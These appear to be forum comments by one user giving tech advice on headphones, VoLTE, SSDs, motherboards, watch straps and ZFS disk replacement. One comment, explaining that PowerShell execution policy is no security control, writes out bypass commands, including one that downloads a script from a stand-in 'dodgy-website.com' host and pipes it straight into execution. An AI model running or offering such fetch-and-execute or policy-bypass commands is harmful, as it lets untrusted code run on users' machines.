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  • I've been using my Sennheiser HD 598 s for over 10 years. I'd recommend anything the same shape/size: being large over ears means it doesn't touch or squeeze your ears at all. Being open backed and velvet padded stop my ears getting hot and sweaty. Being wired saves weight, prevents lag/quality concerns and isn't too big a deal in a stationary gaming situation.

    I do need to use an external mic for chatting, which is not ideal if you're gonna be always in voice chats when gaming. Dedicated gaming headsets tend to not sound as good for the same price, but can't deny the convenience.

    Here is a recent rundown of recommendations by audiophile youtubers for gaming headphones might be worth watching. https://www.youtube.com/watch?v=UIwgVzSiZ68

  • Hardly. As per Microsoft,

    The execution policy isn't a security system that restricts user actions. For example, users can easily bypass a policy by typing the script contents at the command line when they cannot run a script.

    Or you can run iwr -useb 'https://dodgy-website.com/whateverscriptyouwant.ps1' | iex to execute any script from the internet.

    Or read the file and pass it onto a new powershell process with Get-Content . whateverscriptyouwant.ps1 | PowerShell.exe -noprofile -

    Or use the built-in bypass toggle PowerShell.exe -ExecutionPolicy Bypass -File whateverscriptyouwant.ps1

    Or just actually change the execution policy for the proccess or user, via powershell or registry, because once again, it is not an access control. It is security theatre.

  • Telcos are acting like switching off 3G is no big deal, since LTE has been around since 2012, get with the times! VoLTE has only been around since 2016, and even then, was limited to approved models. And only worked if you bought the phone directly from the telco. And only if you had postpaid plan. And only if your account had a “VoLTE enable” flag set by calling them.

    To this day, when it doesn’t work phone makers and telcos will point the finger at each other, leaving customers with no clue who to chase for a solution. All parties still act like VoLTE is a nice to have and not a requirement. I really believe the rush to deploy 5G was to have the pretence to shut off 3G and force customers to buy new phones.

    I had to root my phone, then use diagnostic serial access to the Qualcomm modem and Russian software to make VoLTE work on my 5G 2020 phone. I fear BYO mobile plans are dead now, buying direct from telcos is the only way they'll help you be able to make calls on your phone.

  • A lot of desktop motherboards have a slot for a M.2 WiFi card like that AX200. Usually though they already come with a card anyway. You can often also use the same ssd/HDDs going from laptop to desktop. CPU, RAM, and GPUs are different sizes and connectors though, and won't be transferrable.

    Main thing for choosing a mac is the personal preference for the OS / interface. Its not totally better than Windows, there's pros and cons. You have to really want it to pay for the overpriced hardware. Even second hand they retain a lot resale value.

  • Fair phone is awesome but keep in mind it uses a very slow IoT CPU, the Qualcomm QCM6490. I don't know how intense MTG arena is but check reviews for comparisons before buying if that's a big part of your phone needs.

  • DRAM-less is fine for the deck. Playing games is mostly large reads and small writes for saves. When writing you're likely downloading which is going to be the slowest link in the chain. As you saw with this external drive, it could write quickly for 30GB. Getting bigger for less money is gonna be worth it, especially with the limited physical size of a 2230.

    The key metric is game load times, which don't change much even for desktop systems on drives that read 400MB/s or 5GB/s. So don't worry about it too much.

  • They can be a bit finicky. Make sure they are lined up then use a bit of pressure to click in. Careful they don't move out of alignment when pressing down. People sometimes rip the sockets off when detaching, it's quite a snug fit.

    I found it easier to connect them on a flat table before screwing in the card.

  • Main thing is the lug width. You could get a few straps on the smaller side and they'll fit inside bigger lugs, just not look ideal.

    Something that can be worth buying in person, even a mall key/watch repair stall would have a variety of types and sizes on hand and can find you something suitable on the spot.

  • Huh annoying. You can run zdb -C TheMass To get more info about the pool and the disks in it. Might list enough disk detail to give you confidence it's using the layout you want.

    For me identifying disks usually ends up being unplugging them one by one and checking which shows OFFLINE. Could be worth the trouble to know for sure its specifying and using the disks.

    In any case a good time to setup a backup for anything you can't replace.

  • I'm not familiar with ZFS on Linux, but what is 9173635512214770897 referencing? The command is usually zpool replace pool device [new_device] So if you physically swapped out the old disk and put in a new one, you only need to specify the new disk. If you leave the old one plugged it you list both (old one first).

    I don't know what best practice is for specifying disks to ZFS on Linux, but arch wiki suggests not using /dev/sdc, but the ID instead https://wiki.archlinux.org/title/ZFS#Identify_disks

    Also you don't need to offline the pool to replace a disk, you can keep using it as it resilvers.